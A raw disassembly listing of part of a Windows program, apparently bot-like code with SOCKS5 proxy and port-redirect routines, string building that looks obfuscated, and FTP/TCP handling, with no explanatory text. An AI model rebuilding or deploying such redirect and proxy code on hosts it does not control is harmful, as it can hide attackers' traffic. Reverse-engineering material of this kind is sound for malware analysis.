cmp eax, edi
mov [esp+44h+var_4], edi
jz short loc_42CCD5
mov ecx, eax
call sub_40166D
mov edi, eax
loc_42CCD5: ; CODE XREF: sub_42CB70+15Aj
mov edx, [esi+99h]
mov [edi+9Dh], esi
mov [edi+99h], edx
mov eax, [esi+3Bh]
mov [edi+3Bh], eax
mov ecx, [esi+3Fh]
mov [edi+3Fh], ecx
push ebx
lea ecx, [edi+43h]
mov [esp+48h+var_4], 0FFFFFFFFh
call sub_401FDC
lea eax, [esi+26h]
lea ecx, [edi+26h]
push eax
mov [edi+0A1h], ebp
call sub_401FDC
mov dl, [esi+97h]
mov ecx, edi
mov [edi+97h], dl
mov al, [esi+98h]
mov [edi+98h], al
call sub_4013DE
loc_42CD35: ; CODE XREF: sub_42CB70+111j
; sub_42CB70+133j ...
push 0FAh
call near ptr 2831CE8h
nop
mov ecx, [esi+99h]
mov al, [ecx+11Ch]
test al, al
jnz loc_42CC6F
loc_42CD54: ; CODE XREF: sub_42CB70+F9j
mov eax, [esi+9Dh]
cmp eax, 0FFFFFFFFh
jz short loc_42CD66
push eax
nop
call near ptr 71AB9639h
loc_42CD66: ; CODE XREF: sub_42CB70+1EDj
mov edx, [esi+3Fh]
mov ecx, ebx
push edx
call sub_4017EE
push eax
mov eax, [esi+3Bh]
push eax
lea ecx, [esi+11h]
call sub_4017EE
push eax
push offset aSFinishedRed_0 ; "[%s] Finished redirecting from port %d "...
lea ecx, [esi+26h]
call sub_4014DD
mov cl, [esi+98h]
mov dl, [esi+97h]
push eax
push ecx
push edx
push offset byte_4D8085
call sub_401857
add esp, 24h
loc_42CDA8: ; CODE XREF: sub_42CB70+7Cj
mov ecx, [esp+44h+var_C]
pop edi
pop esi
pop ebp
pop ebx
mov large fs:0, ecx
add esp, 34h
retn
sub_42CB70 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 0A0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_42CE60 proc near ; CODE XREF: sub_402202j
var_3C = byte ptr -3Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_42CE60
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 30h
push esi
push edi
push 0
push 10h
push 3
push 14h
push 4Fh
push 14h
push 3
push 5
push 12h
push 9
push 4
mov esi, ecx
push 5
lea eax, [esp+74h+var_3C]
push 12h
push eax
mov dword ptr [esi+118h], 0
call sub_4019C4
add esp, 38h
push esi
mov ecx, eax
mov [esp+48h+var_4], 0
call sub_4017EE
lea ecx, [esi+4]
push eax
push ecx
mov ecx, offset dword_449128
call sub_40159B
sub_42CE60 endp
; ---------------------------------------------------------------------------
or edi, 0FFFFFFFFh
lea ecx, [esp+8]
mov [esp+40h], edi
call sub_401226
push 0
push 5
push 12h
push 7
push 4Fh
push 14h
push 3
push 5
push 12h
push 9
push 4
push 5
lea edx, [esp+38h]
push 12h
push edx
call sub_4019C4
add esp, 38h
push esi
mov ecx, eax
mov dword ptr [esp+44h], 1
call sub_4017EE
push eax
lea eax, [esi+32h]
push eax
mov ecx, offset dword_449128
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+8]
mov [esp+40h], edi
call sub_401226
push 0
push 10h
push 14h
push 14h
push 8
push 4Fh
push 14h
push 3
push 5
push 12h
push 9
push 4
push 5
lea ecx, [esp+3Ch]
push 12h
push ecx
call sub_4019C4
add esp, 3Ch
push esi
mov ecx, eax
mov dword ptr [esp+44h], 2
call sub_4017EE
lea edx, [esi+60h]
push eax
push edx
mov ecx, offset dword_449128
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+8]
mov [esp+40h], edi
call sub_401226
push 0
push 13h
push 0Bh
push 3
push 0Fh
push 13h
push 4Fh
push 14h
push 3
push 5
push 12h
push 9
push 4
push 5
lea eax, [esp+40h]
push 12h
push eax
call sub_4019C4
add esp, 40h
push esi
mov ecx, eax
mov dword ptr [esp+44h], 3
call sub_4017EE
lea ecx, [esi+8Eh]
push eax
push ecx
mov ecx, offset dword_449128
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+8]
mov [esp+40h], edi
call sub_401226
push 0
push 49h
push 13h
push 0Bh
push 3
push 0Fh
push 13h
push 4Fh
push 14h
push 3
push 5
push 12h
push 9
push 4
push 5
lea edx, [esp+44h]
push 12h
push edx
call sub_4019C4
add esp, 44h
push esi
mov ecx, eax
mov dword ptr [esp+44h], 4
call sub_4017EE
push eax
lea eax, [esi+0BCh]
push eax
mov ecx, offset dword_449128
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+8]
mov [esp+40h], edi
call sub_401226
push 0
push 10h
push 0Fh
push 14h
push 13h
push 4Fh
push 14h
push 3
push 5
push 12h
push 9
push 4
push 5
lea ecx, [esp+54h]
push 12h
push ecx
call sub_4019C4
add esp, 3Ch
push esi
mov ecx, eax
mov dword ptr [esp+44h], 5
call sub_4017EE
add esi, 0EAh
push eax
push esi
mov ecx, offset dword_449128
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+20h]
mov [esp+40h], edi
call sub_401226
mov ecx, [esp+38h]
pop edi
pop esi
mov large fs:0, ecx
add esp, 3Ch
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 0A0h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42D150: ; CODE XREF: ___:loc_40204Aj
mov eax, large fs:0
push 0FFFFFFFFh
push offset loc_43D0A4
push eax
mov large fs:0, esp
sub esp, 68h
push ebx
push ebp
push esi
mov esi, [esp+84h]
mov ebp, ecx
push edi
lea edi, [esi+7Eh]
lea ecx, [ebp+4]
call sub_4017EE
push eax
mov ecx, edi
call sub_4012EE
or ebx, 0FFFFFFFFh
test eax, eax
jnz loc_42D2B7
push 0A1h
call sub_437AEA
; ---------------------------------------------------------------------------
db 83h, 0C4h, 4
dd 88248489h, 33000000h, 89C73BFFh, 8024BCh, 9740000h
dd 0ADE8C88Bh, 8BFFFD44h, 460068F8h, 448D0044h, 16A4C24h
dd 11C85C6h, 50010000h, 9C89CE8Bh, 8C24h, 99AF8900h, 0E8000000h
dd 0FFFD44D4h, 84C7C88Bh, 8024h, 100h, 45F8E800h, 9050FFFDh
dd 7EED1BE8h, 4C48377h, 48244C8Dh, 893B4789h, 80249Ch
dd 13E80000h, 68FFFD40h, 444600h, 4C244C8Dh, 8B51026Ah
dd 4492E8CEh, 8D50FFFDh, 84C7434Fh, 8424h, 200h, 4DA2E800h
dd 4C8DFFFDh, 9C894824h, 8024h, 3FDCE800h, 68FFFDh, 8D004446h
dd 6A4C2454h, 0CE8B5203h, 0FD445BE8h, 0C7C88BFFh, 802484h
dd 30000h, 7FE80000h, 50FFFD45h, 0ECA2E890h, 0C483777Eh
dd 244C8D04h, 3F478948h, 80249C89h, 0E8000000h, 0FFFD3F9Ah
dd 8D69468Dh, 0E850264Fh, 0FFFD4D44h, 938E8Ah, 8F880000h
dd 97h, 94968Ah, 0CF8B0000h, 989788h, 27E80000h
db 41h, 0FDh, 0FFh
; ---------------------------------------------------------------------------
loc_42D2B7: ; CODE XREF: ___:0042D18Dj
lea ecx, [ebp+32h]
call sub_4017EE
push eax
lea ecx, [esi+7Eh]
call sub_4012EE
test eax, eax
jnz loc_42D3E7
push 9Dh
call sub_437AEA
; ---------------------------------------------------------------------------
add esp, 4
mov [esp+88h], eax
test eax, eax
mov dword ptr [esp+80h], 4
jz short loc_42D2FE
mov ecx, eax
call sub_401898
mov edi, eax
jmp short loc_42D300
; ---------------------------------------------------------------------------
loc_42D2FE: ; CODE XREF: ___:0042D2F1j
xor edi, edi
loc_42D300: ; CODE XREF: ___:0042D2FCj
push offset asc_444600 ; " "
lea eax, [esp+4Ch]
push 1
mov byte ptr [ebp+11Ch], 1
push eax
mov ecx, esi
mov [esp+8Ch], ebx
mov [edi+99h], ebp
call sub_4016B8
push eax
lea ecx, [edi+58h]
mov dword ptr [esp+84h], 5
call sub_401FDC
lea ecx, [esp+48h]
mov [esp+80h], ebx
call sub_401226
push offset asc_444600 ; " "
lea ecx, [esp+4Ch]
push 2
push ecx
mov ecx, esi
call sub_4016B8
push eax
lea ecx, [edi+6Dh]
mov dword ptr [esp+84h], 6
call sub_401FDC
lea ecx, [esp+48h]
mov [esp+80h], ebx
call sub_401226
push offset asc_444600 ; " "
lea edx, [esp+4Ch]
push 3
push edx
mov ecx, esi
call sub_4016B8
push eax
lea ecx, [edi+82h]
mov dword ptr [esp+84h], 7
call sub_401FDC
lea ecx, [esp+48h]
mov [esp+80h], ebx
call sub_401226
lea eax, [esi+69h]
lea ecx, [edi+26h]
push eax
call sub_401FDC
mov cl, [esi+93h]
mov [edi+97h], cl
mov dl, [esi+94h]
mov ecx, edi
mov [edi+98h], dl
call sub_4013DE
loc_42D3E7: ; CODE XREF: ___:0042D2CAj
lea ecx, [ebp+60h]
call sub_4017EE
push eax
lea ecx, [esi+7Eh]
call sub_4012EE
test eax, eax
jnz loc_42D510
push 0A2h
call sub_437AEA
; ---------------------------------------------------------------------------
add esp, 4
mov [esp+88h], eax
test eax, eax
mov dword ptr [esp+80h], 8
jz short loc_42D42E
mov ecx, eax
call sub_4018ED
mov edi, eax
jmp short loc_42D430
; ---------------------------------------------------------------------------
loc_42D42E: ; CODE XREF: ___:0042D421j
xor edi, edi
loc_42D430: ; CODE XREF: ___:0042D42Cj
push offset asc_444600 ; " "
lea eax, [esp+4Ch]
push 1
mov byte ptr [ebp+11Ch], 1
push eax
mov ecx, esi
mov [esp+8Ch], ebx
mov [edi+99h], ebp
call sub_4016B8
mov ecx, eax
mov dword ptr [esp+80h], 9
call sub_4017EE
push eax
nop
call near ptr 77C1BF18h
add esp, 4
lea ecx, [esp+48h]
mov [edi+3Bh], eax
mov [esp+80h], ebx
call sub_401226
push offset asc_444600 ; " "
lea ecx, [esp+4Ch]
push 2
push ecx
mov ecx, esi
call sub_4016B8
push offset aTrue ; "true"
mov ecx, eax
mov dword ptr [esp+84h], 0Ah
call sub_40150A
test eax, eax
lea ecx, [esp+48h]
mov [esp+80h], ebx
setz byte ptr [esp+88h]
call sub_401226
mov al, [esp+88h]
test al, al
jz short loc_42D4DE
mov byte ptr [edi+9Dh], 1
jmp short loc_42D4E5
; ---------------------------------------------------------------------------
loc_42D4DE: ; CODE XREF: ___:0042D4D3j
mov byte ptr [edi+9Dh], 0
loc_42D4E5: ; CODE XREF: ___:0042D4DCj
lea edx, [esi+69h]
lea ecx, [edi+26h]
push edx
call sub_401FDC
mov al, [esi+93h]
mov [edi+97h], al
mov cl, [esi+94h]
mov [edi+98h], cl
mov ecx, edi
call sub_4013DE
loc_42D510: ; CODE XREF: ___:0042D3FAj
lea ecx, [ebp+8Eh]
call sub_4017EE
push eax
lea ecx, [esi+7Eh]
call sub_4012EE
test eax, eax
jnz loc_42D5DD
push 0A1h
call sub_437AEA
; ---------------------------------------------------------------------------
add esp, 4
mov [esp+88h], eax
test eax, eax
mov dword ptr [esp+80h], 0Bh
jz short loc_42D55A
mov ecx, eax
call sub_40218A
mov edi, eax
jmp short loc_42D55C
; ---------------------------------------------------------------------------
loc_42D55A: ; CODE XREF: ___:0042D54Dj
xor edi, edi
loc_42D55C: ; CODE XREF: ___:0042D558j
push offset asc_444600 ; " "
lea edx, [esp+4Ch]
push 1
mov byte ptr [ebp+11Ch], 1
push edx
mov ecx, esi
mov [esp+8Ch], ebx
mov [edi+99h], ebp
call sub_4016B8
mov ecx, eax
mov dword ptr [esp+80h], 0Ch
call sub_4017EE
push eax
nop
call near ptr 77C1BF18h
add esp, 4
lea ecx, [esp+48h]
mov [edi+3Bh], eax
mov [esp+80h], ebx
call sub_401226
lea eax, [esi+69h]
lea ecx, [edi+26h]
push eax
call sub_401FDC
mov cl, [esi+93h]
mov [edi+97h], cl
mov dl, [esi+94h]
mov ecx, edi
mov [edi+98h], dl
call sub_4013DE
loc_42D5DD: ; CODE XREF: ___:0042D526j
lea ecx, [ebp+0BCh]
call sub_4014DD
lea edi, [esi+7Eh]
push eax
mov ecx, edi
mov [esp+8Ch], edi
call sub_4012EE
test eax, eax
jnz loc_42D809
lea ecx, [esp+30h]
call sub_40142E
lea ecx, [esp+18h]
mov dword ptr [esp+80h], 0Dh
call sub_40142E
push offset asc_444600 ; " "
lea eax, [esp+4Ch]
push 2
push eax
mov ecx, esi
mov byte ptr [esp+8Ch], 0Eh
call sub_4016B8
mov ecx, eax
mov byte ptr [esp+80h], 0Fh
call sub_4017EE
push eax
lea ecx, [esp+34h]
call sub_401A9B
lea ecx, [esp+48h]
mov byte ptr [esp+80h], 0Eh
call sub_401226
push offset asc_444600 ; " "
lea ecx, [esp+4Ch]
push 3
push ecx
mov ecx, esi
call sub_4016B8
mov ecx, eax
mov byte ptr [esp+80h], 10h
call sub_4017EE
push eax
lea ecx, [esp+1Ch]
call sub_401A9B
lea ecx, [esp+48h]
mov byte ptr [esp+80h], 0Eh
call sub_401226
lea ecx, [esp+30h]
call sub_4014DD
cmp eax, offset byte_448F40
jnz short loc_42D6BF
push offset aRoot ; "root"
lea ecx, [esp+1Ch]
call sub_401A9B
loc_42D6BF: ; CODE XREF: ___:0042D6AFj
lea ecx, [esp+18h]
call sub_4014DD
cmp eax, offset byte_448F40
jnz short loc_42D6DD
push offset byte_448F40
lea ecx, [esp+1Ch]
call sub_401A9B
loc_42D6DD: ; CODE XREF: ___:0042D6CDj
push offset asc_444600 ; " "
lea edx, [esp+4Ch]
push 1
push edx
mov ecx, esi
call sub_4016B8
mov edi, eax
lea ecx, [esp+18h]
mov byte ptr [esp+80h], 11h
call sub_4017EE
push eax
lea ecx, [esp+34h]
call sub_4017EE
push eax
mov ecx, edi
call sub_4017EE
mov edi, dword_511B14
push eax
call edi
add esp, 4
lea ecx, [esi+69h]
push eax
push offset aSocks5Starting ; "[Socks5] Starting Redirect [Port %d :: "...
call sub_4014DD
mov cl, [esi+93h]
push eax
mov al, [esi+94h]
push eax
push ecx
push offset byte_4D8085
call sub_401857
add esp, 20h
lea ecx, [esp+48h]
mov byte ptr [esp+80h], 0Eh
call sub_401226
lea ecx, [esp+18h]
call sub_4017EE
sub esp, 18h
mov ecx, esp
mov [esp+28h], esp
push eax
call sub_401870
lea ecx, [esp+48h]
mov byte ptr [esp+98h], 12h
call sub_4017EE
sub esp, 18h
mov ecx, esp
mov [esp+44h], esp
push eax
call sub_401870
push offset asc_444600 ; " "
lea edx, [esp+94h]
push 1
push edx
mov ecx, esi
mov byte ptr [esp+0BCh], 13h
call sub_4016B8
mov ecx, eax
mov byte ptr [esp+0B0h], 15h
call sub_4017EE
push eax
call edi
add esp, 4
push eax
call sub_401C2B
add esp, 34h
lea ecx, [esp+60h]
mov byte ptr [esp+80h], 0Eh
call sub_401226
lea ecx, [esp+18h]
mov byte ptr [esp+80h], 0Dh
call sub_401226
lea ecx, [esp+30h]
mov [esp+80h], ebx
call sub_401226
mov edi, [esp+88h]
loc_42D809: ; CODE XREF: ___:0042D5FCj
lea ecx, [ebp+0EAh]
call sub_4017EE
push eax
mov ecx, edi
call sub_4012EE
test eax, eax
jnz short loc_42D826
mov [ebp+11Ch], al
loc_42D826: ; CODE XREF: ___:0042D81Ej
mov ecx, [esp+78h]
pop edi
pop esi
pop ebp
mov al, 1
mov large fs:0, ecx
pop ebx
add esp, 74h
retn 4
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 1C0h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42DA00: ; CODE XREF: ___:004021CBj
push ecx
mov edx, dword_449A5D
push esi
mov esi, ecx
mov eax, [esi+99h]
mov ecx, [eax+118h]
cmp edx, ecx
jl short loc_42DA21
inc ecx
mov [eax+118h], ecx
loc_42DA21: ; CODE XREF: ___:0042DA18j
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+8]
mov eax, [esi+99h]
mov [esp+4], esi
mov ecx, [eax+118h]
dec ecx
mov [eax+118h], ecx
lea ecx, [esp+4]
push ecx
mov ecx, offset byte_4E8EAB
call sub_40120D
; ---------------------------------------------------------------------------
xor eax, eax
pop esi
pop ecx
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_42DA80 proc near ; CODE XREF: sub_401E1Fj
var_190 = byte ptr -190h
sub esp, 190h
lea eax, [esp+190h+var_190]
push eax
push 101h
call sub_438244
sub_42DA80 endp
; ---------------------------------------------------------------------------
db 85h, 0C0h, 74h
dd 900D8B19h, 5000511Ah, 6840C183h, 4473E0h, 64E89051h
dd 83778133h, 0C4810CC4h, 190h, 909090C3h, 90909090h, 4 dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------
loc_42DAD0: ; CODE XREF: ___:00401D8Ej
mov eax, [esp+4]
test eax, eax
jz short loc_42DAE3
mov ecx, [eax+18h]
test ecx, ecx
jnz short loc_42DAE3
add eax, 44h
retn
; ---------------------------------------------------------------------------
loc_42DAE3: ; CODE XREF: ___:0042DAD6j
; ___:0042DADDj
xor eax, eax
retn
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_42DB00 proc near ; CODE XREF: sub_401A7Dj
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_12 = word ptr 16h
sub esp, 14h
mov ecx, [esp+14h+arg_0]
xor eax, eax
mov [esp+14h+var_10], eax
push ebx
push ebp
mov [esp+1Ch+var_C], eax
push esi
push edi
mov [esp+24h+var_8], eax
push ecx
mov [esp+28h+var_14], 1
mov [esp+28h+var_4], eax
mov word ptr [esp+28h+var_10], 2
call near ptr 77C46125h
nop
mov ebp, eax
push 3Ah
push ebp
nop
call near ptr 77C47660h
mov esi, eax
xor ebx, ebx
add esp, 0Ch
cmp esi, ebx
jnz short loc_42DB74
push offset aTcp ; "tcp"
push offset aFtp ; "ftp"
call sub_43828C
; ---------------------------------------------------------------------------
dd 6C75C33Bh, 44743468h, 8BE89000h, 83778092h, 0C03304C4h
dd 5B5D5E5Fh, 0C314C483h
; ---------------------------------------------------------------------------
loc_42DB74: ; CODE XREF: sub_42DB00+47j
mov [esi], bl
mov eax, dword_511A7C
inc esi
cmp dword ptr [eax], 1
jle short loc_42DB92
movsx ecx, byte ptr [esi]
push 4
push ecx
nop
call near ptr 77C1C561h
add esp, 8
jmp short loc_42DBA2
; ---------------------------------------------------------------------------
loc_42DB92: ; CODE XREF: sub_42DB00+7Fj
mov eax, dword_511B1C
movsx edx, byte ptr [esi]
mov ecx, [eax]
mov al, [ecx+edx*2]
and eax, 4
loc_42DBA2: ; CODE XREF: sub_42DB00+90j
cmp eax, ebx
jz short loc_42DBBD
push esi
call near ptr 77C1BF18h
nop
add esp, 4
push eax
call sub_43822C
; ---------------------------------------------------------------------------
mov [esp+arg_12], ax
jmp short sub_42DBD1
; ---------------------------------------------------------------------------
loc_42DBBD: ; CODE XREF: sub_42DB00+A4j
push offset aTcp ; "tcp"
push esi
call sub_43828C
sub_42DB00 endp
; ---------------------------------------------------------------------------
mov dx, [eax+8]
mov [esp+16h], dx
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_42DBD1 proc near ; CODE XREF: sub_42DB00+BBj
push ebp
call sub_4381EA
sub_42DBD1 endp
; ---------------------------------------------------------------------------
cmp eax, 0FFFFFFFFh
mov [esp+18h], eax
jnz short loc_42DC1D
push ebp
call sub_4381DE
; ---------------------------------------------------------------------------
dw 0C33Bh
dd 24681875h, 90004474h, 8091FDE8h, 4C48377h, 5E5FC033h
dd 0C4835B5Dh, 0BF0FC314h, 408B0A48h, 8DD18B0Ch, 8B18247Ch
dd 2E9C130h, 0CA8BA5F3h, 0F303E183h
; ---------------------------------------------------------------------------
movsb
loc_42DC1D: ; CODE XREF: ___:0042DBDEj
push ebp
mov ebp, dword_511AD0
call ebp
add esp, 4
push 6
push 1
push 2
call sub_438232
; ---------------------------------------------------------------------------
dd 0FF83F88Bh, 681875FFh, 44741Ch, 8091ADE8h, 0C4839077h
dd 5FC03304h, 835B5D5Eh, 8DC314C4h, 6A102444h, 46A5004h
dd 0FFFF68h, 13E85700h, 830000A6h, 775FFF8h, 44740C68h
dd 8D34EB00h, 6A14244Ch, 0E8575110h, 0A5B8h, 75FFF883h
dd 720C6807h, 1BEB0044h, 14468h, 90016A00h, 7FE42AE8h
dd 83F08B77h, 0F33B08C4h, 4681E75h, 90004474h, 809145E8h
dd 4C48377h, 0A546E857h, 5E5F0000h, 5BC0335Dh, 0C314C483h
dd 200068h, 3CE89000h, 83777FE7h, 0C33B04C4h, 75144689h
dd 74046824h, 0E8900044h, 77809112h, 5704C483h, 0A513E8h
dd 0D5FF5600h, 3304C483h, 5D5E5FC0h, 14C4835Bh, 326A56C3h
dd 89087E89h, 5E89185Eh, 2446C71Ch, 1, 89305E89h, 5E892C5Eh
dd 345E8928h, 89385E89h, 5E89405Eh, 0DAE83Ch, 0C4830000h
dd 75C08508h, 0C9E8571Ch, 8B0000A4h, 0FF521456h, 0D5FF56D5h
dd 3308C483h, 5D5E5FC0h, 14C4835Bh, 24448BC3h, 30895F2Ch
dd 1B85D5Eh, 5B000000h, 0C314C483h, 90909090h, 28h dup(0CCCCCCCCh)
; =============== S U B R O U T I N E =======================================
sub_42DE00 proc near ; CODE XREF: sub_42F2C0+70p
var_8 = byte ptr -8
var_5 = byte ptr -5
var_4 = byte ptr -4
arg_0 = byte ptr 4
arg_4 = dword ptr 8
sub esp, 8
push ebx
push ebp
push esi
push edi
mov edi, [esp+18h+arg_4]
push edi
push 100h
lea esi, [edi+44h]
push esi
call sub_42DF40
add esp, 0Ch
cmp eax, 0FFFFFFFFh
jnz short loc_42DE3A
loc_42DE22: ; CODE XREF: sub_42DE00+8Ej
; sub_42DE00+D9j
push offset aControlSocketR ; "Control socket read failed"
nop
call near ptr 77C36DF2h
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 8
retn
; ---------------------------------------------------------------------------
loc_42DE3A: ; CODE XREF: sub_42DE00+20j
mov eax, dword_5103B8
mov ebx, dword_511A8C
cmp eax, 1
jle short loc_42DE5E
mov eax, dword_511A90
push esi
add eax, 40h
push offset aS ; "%s"
push eax
call ebx
add esp, 0Ch
loc_42DE5E: ; CODE XREF: sub_42DE00+48j
cmp byte ptr [edi+47h], 2Dh
jnz short loc_42DEDE
push 3
lea ecx, [esp+1Ch+var_8]
push esi
push ecx
call near ptr 77C47A90h
nop
push edi
push 100h
push esi
mov [esp+30h+var_5], 20h
mov [esp+30h+var_4], 0
call sub_42DF40
add esp, 18h
cmp eax, 0FFFFFFFFh
jz short loc_42DE22
mov ebp, dword_511AE0
loc_42DE96: ; CODE XREF: sub_42DE00+D7j
cmp dword_5103B8, 1
jle short loc_42DEB4
mov edx, dword_511A90
push esi
add edx, 40h
push offset aS ; "%s"
push edx
call ebx
add esp, 0Ch
loc_42DEB4: ; CODE XREF: sub_42DE00+9Dj
lea eax, [esp+18h+var_8]
push 4
push eax
push esi
call ebp
add esp, 0Ch
test eax, eax
jz short loc_42DEDE
push edi
push 100h
push esi
call sub_42DF40
add esp, 0Ch
cmp eax, 0FFFFFFFFh
jnz short loc_42DE96
jmp loc_42DE22
; ---------------------------------------------------------------------------
loc_42DEDE: ; CODE XREF: sub_42DE00+62j
; sub_42DE00+C3j
mov cl, [esi]
mov dl, [esp+18h+arg_0]
xor eax, eax
pop edi
cmp cl, dl
pop esi
pop ebp
pop ebx
setz al
add esp, 8
retn
sub_42DE00 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42DF40 proc near ; CODE XREF: sub_42DE00+15p
; sub_42DE00+83p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
sub esp, 8
push ebx
push ebp
mov ebp, [esp+10h+arg_0]
push esi
mov esi, [esp+14h+arg_8]
xor ecx, ecx
push edi
mov [esp+18h+var_8], ecx
mov eax, [esi+18h]
mov [esp+18h+var_4], ecx
cmp eax, ecx
jz short loc_42DF70
cmp eax, 1
jz short loc_42DF70
pop edi
pop esi
pop ebp
or eax, 0FFFFFFFFh
pop ebx
add esp, 8
retn
; ---------------------------------------------------------------------------
loc_42DF70: ; CODE XREF: sub_42DF40+1Ej
; sub_42DF40+23j
mov ebx, [esp+18h+arg_4]
cmp ebx, ecx
jnz short loc_42DF82
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 8
retn
; ---------------------------------------------------------------------------
loc_42DF82: ; CODE XREF: sub_42DF40+36j
; sub_42DF40+115j
mov edi, [esi+0Ch]
test edi, edi
jle short loc_42DFD3
cmp ebx, edi
jge short loc_42DF90
lea edi, [ebx-1]
loc_42DF90: ; CODE XREF: sub_42DF40+4Bj
mov eax, [esi+4]
push edi
push 0Ah
push eax
push ebp
nop
call near ptr 77C46170h
add esp, 10h
test eax, eax
jz short loc_42DFA9
mov edi, eax
sub edi, ebp
loc_42DFA9: ; CODE XREF: sub_42DF40+63j
mov edx, [esp+18h+var_8]
add ebp, edi
add edx, edi
sub ebx, edi
mov [esp+18h+var_8], edx
mov byte ptr [ebp+0], 0
mov ecx, [esi+4]
mov edx, [esi+0Ch]
add ecx, edi
sub edx, edi
test eax, eax
mov [esi+4], ecx
mov [esi+0Ch], edx
jnz loc_42E05A
loc_42DFD3: ; CODE XREF: sub_42DF40+47j
cmp ebx, 1
jz loc_42E0AD
mov ecx, [esi]
mov eax, [esi+4]
cmp ecx, eax
jnz short loc_42DFFB
mov eax, [esi+14h]
mov dword ptr [esi+0Ch], 0
mov [esi+4], eax
mov [esi], eax
mov dword ptr [esi+10h], 2000h
loc_42DFFB: ; CODE XREF: sub_42DF40+A3j
mov eax, [esp+18h+var_4]
test eax, eax
jnz loc_42E0C0
push esi
call sub_42E170
add esp, 4
test eax, eax
jz loc_42E0F2
mov edx, [esi+10h]
mov eax, [esi]
mov ecx, [esi+8]
push 0
push edx
push eax
push ecx
call sub_4381F0
; ---------------------------------------------------------------------------
cmp eax, 0FFFFFFFFh
jz loc_42E0DC
test eax, eax
jnz short loc_42E03F
mov [esp+18h+var_4], 1
loc_42E03F: ; CODE XREF: sub_42DF40+F5j
mov edi, [esi+10h]
mov edx, [esi+0Ch]
mov ecx, [esi]
sub edi, eax
add edx, eax
add ecx, eax
mov [esi+10h], edi
mov [esi+0Ch], edx
mov [esi], ecx
jmp loc_42DF82
; ---------------------------------------------------------------------------
loc_42E05A: ; CODE XREF: sub_42DF40+8Dj
sub ebp, 2
mov esi, offset asc_4471FC ; "\r\n"
mov eax, ebp
loc_42E064: ; CODE XREF: sub_42DF40+146j
mov dl, [eax]
mov bl, [esi]
mov cl, dl
cmp dl, bl
jnz short loc_42E08C
test cl, cl
jz short loc_42E088
mov dl, [eax+1]
mov bl, [esi+1]
mov cl, dl
cmp dl, bl
jnz short loc_42E08C
add eax, 2
add esi, 2
test cl, cl
jnz short loc_42E064
loc_42E088: ; CODE XREF: sub_42DF40+130j
xor eax, eax
jmp short loc_42E091
; ---------------------------------------------------------------------------
loc_42E08C: ; CODE XREF: sub_42DF40+12Cj
; sub_42DF40+13Cj
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_42E091: ; CODE XREF: sub_42DF40+14Aj
test eax, eax
jnz short loc_42E0F2
mov byte ptr [ebp+0], 0Ah
mov [ebp+1], al
mov eax, [esp+18h+var_8]
pop edi
dec eax
pop esi
pop ebp
mov [esp+0Ch+var_8], eax
pop ebx
add esp, 8
retn
; ---------------------------------------------------------------------------
loc_42E0AD: ; CODE XREF: sub_42DF40+96j
mov eax, [esp+18h+arg_0]
pop edi
pop esi
pop ebp
mov byte ptr [eax], 0
mov eax, [esp+0Ch+var_8]
pop ebx
add esp, 8
retn
; ---------------------------------------------------------------------------
loc_42E0C0: ; CODE XREF: sub_42DF40+C1j
mov eax, [esp+18h+var_8]
test eax, eax
jnz short loc_42E0F2
pop edi
mov [esp+14h+var_8], 0FFFFFFFFh
mov eax, [esp+14h+var_8]
pop esi
pop ebp
pop ebx
add esp, 8
retn
; ---------------------------------------------------------------------------
loc_42E0DC: ; CODE XREF: sub_42DF40+EDj
push offset aRead ; "read"
call near ptr 77C36DF2h
nop
add esp, 4
mov [esp+18h+var_8], 0FFFFFFFFh
loc_42E0F2: ; CODE XREF: sub_42DF40+D2j
; sub_42DF40+153j ...
mov eax, [esp+18h+var_8]
pop edi
pop esi
pop ebp
pop ebx
add esp, 8
retn
sub_42DF40 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 70h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42E170 proc near ; CODE XREF: sub_42DF40+C8p
; sub_42EF60:loc_42EF8Dp ...
var_10C = dword ptr -10Ch
var_108 = dword ptr -108h
var_104 = dword ptr -104h
var_100 = dword ptr -100h
arg_0 = dword ptr 4
sub esp, 10Ch
push ebx
push ebp
push esi
mov esi, [esp+118h+arg_0]
xor ebx, ebx
xor ebp, ebp
mov eax, [esi+18h]
test eax, eax
jz loc_42E253
mov ecx, [esi+30h]
test ecx, ecx
jz loc_42E253
cmp eax, 2
jnz short loc_42E1A5
lea ebp, [esp+118h+var_104]
jmp short loc_42E1A9
; ---------------------------------------------------------------------------
loc_42E1A5: ; CODE XREF: sub_42E170+2Dj
lea ebx, [esp+118h+var_104]
loc_42E1A9: ; CODE XREF: sub_42E170+33j
xor eax, eax
push edi
mov [esp+11Ch+var_104], eax
loc_42E1B0: ; CODE XREF: sub_42E170+98j
